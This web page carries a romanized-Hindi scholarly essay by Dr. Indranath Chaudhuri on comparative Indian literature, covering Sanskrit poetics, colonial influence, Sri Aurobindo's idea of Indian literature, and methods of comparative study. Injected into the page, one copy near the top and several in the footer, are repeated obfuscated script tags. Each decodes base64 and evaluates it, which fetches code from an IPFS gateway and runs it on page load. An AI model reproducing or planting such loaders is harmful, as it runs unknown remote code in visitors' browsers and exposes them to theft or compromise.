तुलनात्मक भारतीय साहित्य एवं पद्धति विज्ञान का प्रश्न -डॉ. इंद्रनाथ चौधुरी
| chitr:Icon-edit.gif | yah lekh svatantr lekhan shreni ka lekh hai. is lekh mean prayukt samagri, jaise ki tathy, aank de, vichar, chitr adi ka, sanpoorn uttaradayitv is lekh ke lekhak/lekhakoan ka hai bharatakosh ka nahian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- lekhak- d aau. iandranath chaudhuri
sanskrit kavyashastr ne tulanatmak bharatiy sahity ke udbhav ya vikas mean jahaan koee yogadan nahian diya, vahaan doosari or hamare paranparik sanskrit paandity ki katipay adbhut visheshataoan ke karan bhi sanskrit sahity ke itihas mean is or koee sacheshtata nahian dikhaee p di. sanskrit ke srijanashil kritikaroan ne deshi bhasha mean likhit sahity ke prati koee ruchi nahian dikhalaee aur isalie is sahity ki sanskrit patabhoomika ko lekar koee rachana upalabdh nahian hai. hamare adhunik bhashaoan ke udbhav ke sath sath is disha mean tulanatmak adhyayan ki sanbhavanaean dikhaee p dian, magar phir bhi brahmanavad se ju de hue hamare sanskrit paandity ne is or koee kadam nahian badhaya. san 1753 mean apane aksaford lekchars aauf poyatri mean jab rabard lauth ne hibroo kavita ke sath yoonani kavita ki tulana ki, tab bharatavarsh mean devabhasha sanskrit ki kavitaoan ke sath deshi ya videshi bhashaoan mean rachit kavita ki tulana ek amanaviy vyapar thi. isilie bharatavarsh mean bharatiy, farasi tatha arabi kavitaoan ke tulanatmak adhyayan ka avakash nahian tha yadyapi atharahavian shatabdi mean sanskrit, deshi bhasha athava arabi, farasi janane vale vidvanh is desh mean maujood the. isalie unnisavian shati ke aant mean jab is desh mean adhunik sahity paandity ka prasar hua, tab hamare yahaan tulanatmak sahityik adhyayan ki koee paranpara hi nahian thi. anyany karyoan ke lie arabi, farasi ke jnan ki zaroorat to thi, magar doosari eshiyaee bhashaoan mean rachit sahity ke jnan ki hamane koee avashyakata hi mahasoos nahian ki. doosare eshiyaee sahity par bharatiy sahity, darshan evan dharm ke prabhav ka tulanatmak vivechan bharatiy vidvanoan ke sthan par yooropiy vidvanoan ne shuroo kiya. aangrezi sahity ke sanpark mean ane par hi bharat mean sahity ke prati tulanatmak drishti ka vastavik prasar ho saka aur is kary mean aangrezi ke madhyam se doosare yooropiy sahity se bhi ham parichit ho sake. magar bisavian shati ke praranbh mean jab vibhinn adhunik bharatiy bhashaoan mean rachit sahity ki or hamara rujhan badha, tab alochana kary mean tulanatmak drishti ko svikar karane par bhi tulana ke lie doosari bharatiy bhashaoan mean rachit sahity ke sthan par aangezi sahity ki or hi hamara dhyan gaya. kadachit isaka ek karan, jaisa ki ar. ke. das gupt kahate haian hamari vah aupaniveshik manovritti thi, jisake phalasvaroop doosari bhashaoan ke sthan par aangrezi sahity ke prati hi hamara poora dhyan keandrit raha. (viganiangs aauf kanpairetiv litarechar, shodh lekh, 1977). sadharan pathak yah samajhate the ki vibhinn bharatiy bhashaoan mean rachit madhyayugin sahity ki ek jaisi vishay vastu aur abhiprayoan ka samyamoolak tulanatmak adhyayan aangrezi sahity ki tulana mean bharatiy bhashaoan mean rachit kisi ek sahity ke adhyayan ko adhik mahattv diya, kyoanki unake anusar bauddhik drishti se yah zyada labhadayak tha. yah nishchit hai ki aangrezi sahity ke prati hamare agrah ke phalasvaroop hamari sahityik drishti ka vikas hua aur hamane ek brihattar pariprekshy mean sahity ko grahan karane ki koshish ki. hamare adhunik sahityakaroan ne pashchaty sahity ke sandarbh mean adhunik bharatiy sahity ke vikas ki bat ki aur is tarah tulanatmak drishtikon ka prasar kiya.
bharatiy sandarbh mean bharatiy sahity ki avadharana hi apane ap mean tulanatmak sahity hai, kyoanki yahaan ek se adhik sahityoan ki or sanket hai. magar vibhinn bharatiy sahityoan ke tulanatmak adhyayan ki ek svatantr sthiti hai. yah fraansisi-jarman sanpraday ki tarah kritiyoan ke tathyaparak sanparkoan (raportas di phet) ki chhanabin nahian ho sakati, kyoanki vibhinn bharatiy bhashaoan mean rachit sahityoan ka parasparik sanpark us roop mean bahy (eksatarnal) nahian hai, jaise ki pashchaty tulanatmak sahity mean jarman fraansisi ya roosi sahity ke sanbandhoan ko bahy kaha jata hai. vahaan inamean sanpark chetanata ke star par nahian hota varanh sanpark sthapit karana p data hai aur ek sunishchit sthiti ban jane par tathyoan ke roop mean unaka vishleshan ho pata hai. bahubhashik desh hone ke nate ham ek jatil chetanata mean jite haian. bhale hi ham ek hi bhasha (jaise hindi) bolate hoan. bahubhashik sthiti (maltiliangval sichueshan) bahubhashiy avasthiti (pauligl aaut orienateshan) se bhinn ek vishisht chetana hai aur is sthiti mean panapane vale sahityoan (jaise hindi, bangala, marathi adi) ke adhyayan ke lie un mool aitihasik tatha sahityik srotoan se parichit hona p data hai, jinaki prerana se in sahityoan mean lagabhag ek hi prakar ki aveshatmak tatha bauddhik anubhootiyoan ka prasar hua hai. bharatiy tulanatmak sahity ki yah pahali visheshata hai, jisake phalasvaroop pashchaty tulanatmak sahity ek bahubhashik sthiti mean prasarit svabhavik roop se tulanatmak hai aur isake viparit pashchaty tulanatmak sahity nana bhashaoan ki ek asadsh duniya hai, jahaan tulana ko roop dena p data hai.
ek hi prakar ke aitihasik tatha sahityik srotoan se prabhavit hone ke karan yahaan sadrishyamoolak adhyayan ke lie adhik avasar haian. isaka tatpary koee sarvik anubhooti ka sadrishyamoolak adhyayan nahian, varanh ek nishchit aitihasik sthiti mean ubharane vali ghatanaoan se prabhavit sahityoan ka adhyayan hai, jinamean apas mean koee doosara pratiyaman sanbandh nahian hai, jaise ki desh vibhajan ki aitihasik sthiti ke ashray se sharanarthiyoan ki anubhootiyoan ko lekar hindi ke yashapal aur bangala ke prabodh kumar sanyal ke upanyasoan ka adhyayan.
magar tulanatmak bharatiy sahity ke adhyayan ke lie hamare pas bharatiy sahity ki koee ek avadharana nahian hai. alag alag bhashaoan mean rachit sahityoan ke ashray se anulanbiy dhang se bharatiy sahityetihas ka adhyayan bharat tulanatmak sahity ka ek bahut hi pramukh kshetr hai. ekak vyavastha star par ekak sahity ke roop mean bharatiy sahity ke itihas ki avadharana ka nirman bahut hi zaroori hai. bharatiy sahity ki bat karate hue ham saanpratik kal mean bhi ise vibhinn bhashaoan mean abhivyakt nana sahityoan ka matr sangrah hi manate haian. hamari sahityik paranpara ke aitihasik punarnirman ko ham abhi tak poora nahian kar pae haian. ekak sahity ke roop mean bharatiy sahity ki avadharana ka nirman tulanatmak sahity ke adhyayan ke ashray se hi poora kiya ja sakata hai.
adhunik sandarbh mean bharatiy sahity par ek or marishas ka prabhav p da aur doosari or nee roshani mean prachin ke punarnirman ki or logoan ka dhyan akarshit hua. bharatiy tulanatmak sahity ke sandarbh mean yah prabhav vivechan, jaisa ki d aau. amiy dev kahate haian pashchaty tulanatmak sahity ke prabhav vivechan ke anuroop nahian ho sakata. tisari duniya ka desh hone ke nate ek aupaniveshik manovritti ke sahare aangrezi jnan-vijnan hamari chiantan dhara mean pravesh kar gaya hai. isalie prabhav ke tathyoan ka vivechan karate hue lekhakoan ki manovritti ke manovijnan se parichit hona bhi zaroori hai, jinhoanne apani pratibha ko aur adhik chamakane ke lie prabhav ka upayog matr san ke roop mean nahian kiya tha. isake atirikt is prakar ke prabhav adhyayan mean us tanav ka vivechan bhi zaroori hai, jisamean paradhin bharat ka lekhak ji raha tha. ek or bharatiy sahity (sanskrit) ki sashakt avichchhinn dhara mean palane vala lekhak aur doosari is tarah in donoan ke bich jine vale lekhak ka tanav, is dvi-sanrachana ke tanav ki aitihasik vyakhya avashyak hai. bharatiy sahity ke itihas ke nirman mean is dviadhari sanrachana ko dhyan mean rakhana p data hai aur pashchaty prabhav ka hamari paranpara se sangharsh aur usase paida hone vale tanav aur usaka vishleshan zaroori ho jata hai. bharatiy sahity ke prabhav vivechan ke aantargat is tanav ka adhyayan sanpoorn bharatiy sahityadhyayan ko tulanatmak banane ke lie badhy karata hai.
kisi ek bharatiy bhasha mean rachit ekak sahityadhyayan mean kritiyoan ka adhyayan, lekhak ke vyaktitv ka adhyayan aur sath hi kal, parivesh aur jatigat sandarbhoan mean adhyayan mean karan-kary sanbandhoan ka dhyan rakhana zaroori hota hai, magar tulanatmak sahityadhyayan mean karan-kary sanbandhoan ke doosare gahare roopoan se parichit hona bahut hi avashyak hai. isalie sahity ke itihas se alag tulanatmak sahityik itihas ki rachana tulanatmak sahity ki pravidhi se hi sanbhav ho pati hai. udaharan ke roop mean, bangala ke kavi madhusoodan datt ne pahale pahal aangrezi mean likhana shuroo kiya. sahity ka itihas matr isaki soochana dega magar tulanatmak sahityik itihas isaka karan bataega. aur yah bhi kahega ki us samay bharatiy vidvanh aangrezi mean likhana pasand kyoan karate the. sahity ka itihas yah bhi soochana dega ki madhusoodan ne kab bangala mean likhana shuroo kiya aur sahityik itihas usaka karan dhooandh kar laega. sahity ka itihas unaki aangrezi kavita 'maian alabiyaan ke sudoor tat ke lie ahean bharata hooan' mean abhivyakt drishti ka bangala kavita maan, is das ko yad rakhana' mean parivartit hone ki soochana dega magar sahityik itihas isaka vishleshan karega aur yah bhi bataega ki bangala rachana mean 'alabiyaan' ko kavi kis prakar atmasath karata hai (dekhie, amiy dev ka shodh lekh kanpairetiv iandiyan litarechar 1981). vastut: tulanatmak sahity ke paddhati vijnan ke ashray se bharatiy sahity ke itihas ki sahityik itihas ka ekak avadharana ban sakati hai. kalakram ke sthan par samasvarthata ke tattvoan (elimeants aauf saulideriti) ke adhar par vivechan karane par hi yah sanbhav ho sakata hai, magar samasvarthata ke tattvoan ko chunane ke lie bharatiy sahity ke sandarbh mean un karan-kary sanbandhoan ka dhyan rakhana hoga, jinake pichhe pashchaty sahity ka ek khas hathh? raha hai. darasal bharatiy sahity ke sahityik itihas ki rachana mean pashchaty sahity ke sath bharatiy sahity ke sanbandhoan tatha vibhinn bharatiy bhashaoan mean rachit sahityoan ke parasparik sanbandhoan mean pahala sanbandh bilkul aitihasik hai aur doosara aanshat: aitihasik evan aanshat: kavyashastriy sauandaryaparak raha hai. svadhinata ke bad tisari duniya ki sthiti ban jane se pashchaty sahity ke sath hamare is aitihasik sanbandh mean koee khas aantar nahian aya hai. madhyayugin bharatiy sahity ke sath arabi tatha farasi sahity ke aitihasik evan kavyashastriy sauandaryaparak sanbandhoan ka adhyayan bhi isamean ju da hua hai.
ab tak ke vivechan se yah bat spasht ho jati hai ki pashchaty tulanatmak sahity se alag bharatiy tulanatmak sahity ke lie bharatiy sahityik itihas ki sankalpana ki rachana apane ap mean ek mahattvapoorn vishay hai. bharat ke bahubhashiy svaroop ke karan is sankalpana ki rachana tulanatmak sahity ke star par hi sanbhav hai. tulanatmak sahity ki pravidhi ke ashray ke ekak vyavastha star par ekal sahity ke roop mean bharatiy sahityik itihas ki avadharana ka nirman ho sakata hai. bharatiy vidvanoan mean sarvapratham shri araviand ne apani pustak 'iandiyan litarechar' mean samasvarthata ke tattvoan ke nirdesh adhar par bharatiy sahity ki avadharana ke nirman ka saphal prayatn kiya tha. unhoanne vaidik kal se lekar bhakti kal tak ke bharatiy sahity ke keandriy star, roop tatha sauandaryatmak mooly ka pata lagaya aur bharatiyoan ke saanskritik man ki abhivyakti ke roop mean use svikriti di. shri araviand ke anusar bharatiy man ka mool svar adhyatmik, aantardrishti tatha manogat hai (d iandiyan fauandeshan aauf iandiyan kalchar, bhag xiv). bad mean suniti kumar chatarji, nagendr krishna kripalani adi ne isi mool svar ko svikarate hue bharatiy sahity ke doosare samasvarthata ke tattvoan ka ullekh kiya, jisake dvara bharatiy sahity ki ekata ka pata lag sake. krishna kripalani ka kahana hai ki vibhinn bharatiy sahity ke badalate hue praroop ke bavajood kuchh tattv doosaroan ki apeksha adhik vishisht pramanit hue haian, aur jinhean kal nasht nahian kar saka hai. inamean se ek hai, ek asim satta ki pramukh anubhooti (madarn iandiyan litarechar 1980, prishth 120). ekata ke in tattvoan ki sahayata se hi bharatiy sahity ke ekak roop ka dhaancha taiyar ho jata hai. is dhaanche mean bad mean arabi aur farasi tatha pashchaty jnan-vijnan ke prabhav svaroop chiantan aur abhivyakti ke ne svar ubharate haian. udaharan ke lie soofi vicharadhara athava svachchhantavadi yooropiy drishti adi. magar isase bharatiy sahity ke mool svar ki pramanikata aur adhik siddh huee hai aur anivary apavartan, utkraman tatha roopaantaran se bharatiy sahity ka pariprekshy aur adhik vistrit ho saka hai. aj nana prakar ke samajik, arthik tatha rajanitik karanoan se bharatiy sahity ki pran shakti ya usake mool svar par dabav p d raha hai, parantu phir bhi yah mool svar apane jatil vinyas mean ab bhi vidyaman hai. yahaan keval ekata ke tattv nahian vaividhy ke tattvoan ko bhi dhyan mean rakhana p dega, kyoanki samasvarthata ke tattvoan se nirmit an-tooti bharatiy paranpara ko svikarate hue vibhinn bhashaoan mean likhane vale hamare lekhakoan ki svadhinata bhi mahattvapoorn hai. udaharan ke roop mean mahakavy ki paranpara ne hamare lekhakoan ko bahut hi prabhavit kiya, jisake parinamasvaroop tulasidas, kanban, krittibas, madhav kandali, muktiteshvar, abhinav panpa adi ki rachanaoan mean ekaroopata dikhaee p dati hai, magar sath hi inaka vaividhy bhi akarshak hai. ye sare lekhak ek hi paranpara se ju de hone par bhi akarshak hai. ye sare lekhak ek hi paranpara se ju de hone par bhi nirale dhang se ek doosare se bhinn bhi haian. bharatiy sahity ki ekata usake is vaividhy ke karan aur bhi adhik mahattvapoorn ho jati hai. (shivir kumar das, d aidiya aauf en iandiyan litarechar, vagarthe. 19 : 3). is prakar bharatiy sahity ke itihas ki rachana mean is nirdesh adhar ki sahayata se yani ekata aur vaividhy ke tattvoan ke ashray se vibhinn bhashaoan ki rachanaoan ke sarvabharatiy sanbandhoan ko aankana sahaj ho jata hai.
bharatiy sahity ke itihas ki rachana mean doosara nirdesh adhar hamari rashtriy anubhooti ke parivarti ayam haian, jinako vibhinn kathyoan ke dvara sahity mean pun: srijit kiya gaya hai. isase bhavishy ke kal vibhajan ki samasya ka bahut hi achchha samadhan ho sakata hai. rashtriy anubhooti ke parivarti ayamoan ke ashray mean aitihasik drishti se vishvasotpadak avichchhinn sahityik abhivyakti ka alekh prastut kiya ja sakata hai. udaharan ke roop mean, vir kavyoan ki yuddhanubhooti aur uthal-puthal, bhakti, riti tatha vaishnav kavyoan ki adhyatmik tatha romani premanubhooti, nav jagaran ki anubhooti, svachchhandatavadi lokottar anubhooti, rashtragan ki anubhooti, prakritavadi tatha yatharthanubhooti, samajik yatharth ya parivartanavadi anubhooti tatha saanpratik kal mean lekhakoan ki vighatit tatha mohabhang ki sthiti. is adhyayan mean praantiy bhashaoan mean rachit sahity ke vishisht lakshanoan ka tulanatmak prastutikaran bhi apekshit hai. yahaan bhi ekata aur vividhata ke ashray se bharatiy sahity ke itihas ki rachana karani hai.
tulanatmak bharatiy sahity ke srotoan jaise vaidik tatha sanskrit sahity, puran, dharmagranth, ramayan, mahabharat, jatak granth, kala sangit, lokakatha, arabi-farasi srot tatha bad mean pashchaty srot aur inaka bharatiy sahity ke kathy, bunavat aur sanrachana par p de prabhav ko thik dhang se aankane par vibhinn bhashaoan ke sahity mean pae jane vali ekata aur vividhata mean ek sarvabharatiyata parilakshit hoti hai, jo ekak bharatiy sahity ki avadharana ka mool tattv hai. adhunik kal mean is saanskritik evan evan sahityik avichchhinnata ko to date hue bahut se lekhakoan ne mool bharatiy paranpara par videshi vicharadharaoan ko adhyaropit kiya hai. magar sanrachana, bunavat tatha kathyoan ke ashray se paranpara tatha sanskriti ki nirantarata ke adhyayan ke sath pashchimivad ke adhapake prabhav par adharit atma tatha vyaktitv virodhi (eanti sailaf eand eanti biiang) rachanatmakata ka adhyayan bhi bharatiy sahity ke itihas ke saanshleshik dhaanche ko nirdharit karane ke lie mahattvapoorn ho sakata hai.
tulanatmak bharatiy sahity ke adhyayan ke lie tulanatmak paddhati ki sahayata leni p degi. tulanatmakavadi alochak ke lie tulana ek sachetan evan moolabhoot paddhati hai. sahityik udaharanoan ki avyavasthit vistrit soochi ko sametane ke lie jab tulanatmak paddhati ke aantargat tulana ka prayog kiya jata hai, tab adhyayan se nikalane vale nishkarshoan ka is had tak tanukrit hone ki sanbhavana rahati hai, jahaan yah avadharana apani shakti kafi kho deti hai. avadharana ko tanukrit (dailyoot) kahane ki yah pravritti agar ek nishchit sima ko par kar jaye, jahaan par pratyek sanbhavy tulanaean tulanatmak shodh ka aang man li jati haian, tab is paddhati ki apani vivechak shakti bhi samapt ho jati hai. udaharan ke lie adhunik bodh jo prakat karane vale pratyek, hindi, bangala ya marathi natak mean visangati bodh ko ek doosare ka paryay man lena hai, athava pragatishil pratyek kavita ko pragativad ka paryay man lena athava har nee kavita ko astitvavadi vicharadhara ke sath jo dana tulanatmak paddhati ke sath anyay karana hai. adhunik sahity ke pratyek paksh, vidha kathya ya pravritti mean kuchh tulaniy aansh avashy vidyaman rahata hai. magar tulanatmak paddhati ke lie yah avashyak hai ki tulanatmak vishleshan evan tulanatmak vivaran ke aantar ko prakat karate hue adhyayan ka prasar kare. pratyek vivaran kahian n kahian apratyaksh roop se tulanatmak hota hai, magar kisi ek paddhati, dhaancha ya pratiman ke ashray se kiya gaya pratyek vishleshan aisa nahian hota. isilie tulanatmak sahity ki samasyaoan ko samajhate hue paddhati ke roop mean tulana ke prayog mean bahut hi savadhani baratani p dati hai. tulanatmak sahityadhyayan sadrishy sanbandhatmak, paranpara adhyayan athava prabhav sootroan ka adhyayan hota hai. yah samy ya vaishabhyamoolak ho sakata hai. magar donoan hi sthitiyoan mean adhyayan ka gahan ya suvyavasthit hona avashyak hai. sadrishy sanbandhatmak adhyayan mean tulanatmakatavadi alochak 'p aaulijenetik' paddhati ka sahara leta hai, jahaan usaki saanshleshik drishti ke pichhe thos auchity vidhan nahian hota. yahaan tulanatmakatavadi alochak ka vishraanti ka mood hota hai evan usase hi chiantan ka prasar sanbhav hota hai evan adhyayan ki sari drishti srijanatmak vidhigat (diyotaro krietiv) ban jati hai. paranpara adhyayan mean sahityoan mean pratiphalit rashtriy chetana (spirit) ka samaantariy adhyayan kiya jata hai. tulanatmak sahityadhyayan mean prabhavasootroan ka adhyayan usaki keandr paddhati hai. prabhavasootroan ke adhyayan mean tulanatmak paddhati matr srotoan ya madaloan ki khoj nahian karati hai. isaka mukhy kary yah vishleshit karana hai ki prapak lekhak ne apane madal ka prayog kaise kiya hai. apane kalatmak abhiprayoan ko apradhan banate hue kaise usane apane madal ko naya roop diya hai tatha kaun si nee kavyatmak kriya ko usamean jo da hai. akhirakar sahityik paandity ko vyavasthit dhang se prasarit hona tabhi sanbhav hota hai, jab sahityik kriti ki 'sahityikata' ki khoj ko alochana ka mukhy keandr biandu svikar kar liya jata hai.
tulanatmak alochana tulanatmak paddhati ka adhar niyam hai. tulanatmak bharatiy sahity ke suvyavasthit kavyashastriy sauandaryaparak tatha alochanatmak vishleshan ke lie bharatiy tulanatmakatavadi alochak is koshish mean haian ki ve apani hi tulanatmak alochana ka prasar tatha adhibhasha ka nirman karean. sanskrit tatha pashchaty kavyashastr ke tulanatmak paryavekshan ke dvara hi ek labhadayak sarvabharatiy alochanatmak siddhaant bhasha ka nirman kiya ja sakata hai. jisase aitihasik, samajashastriy tatha kavyashastriy sauandaryaparak drishti ki sahayata se tulanatmak bharatiy sahity ke nana ayamoan ka moolyaankan sanbhav hai. magar moolyaankan ke lie tulanatmak paddhati ko aantarvidhavarti hona zaroori hai. is paddhati vijnan ka yah vishvas hai ki auchity hi sarvamany siddhaant hai. sanskrit kavyashastr ke sath pashchaty kavyashastr ko jo dakar nirmit 'adhibhasha' ki aantarvidhavarti drishti ki sahayata se moolyaankan ki tulanatmak bharatiy sahity ke adhyayan ka vastavik prasar kar sakata hai. is prakar ke adhyayan se hi vibhinn sahityoan mean ek k aauman aeedeantiti ko dhooandh nikalana tatha antat: ekata aur vividhata ke dharatal par bharatiy sahity ke ekak sahity roop ki avadharana ka nirman sanbhav ho pata hai.
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
| kramaank | lekh ka nam | lekhak |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>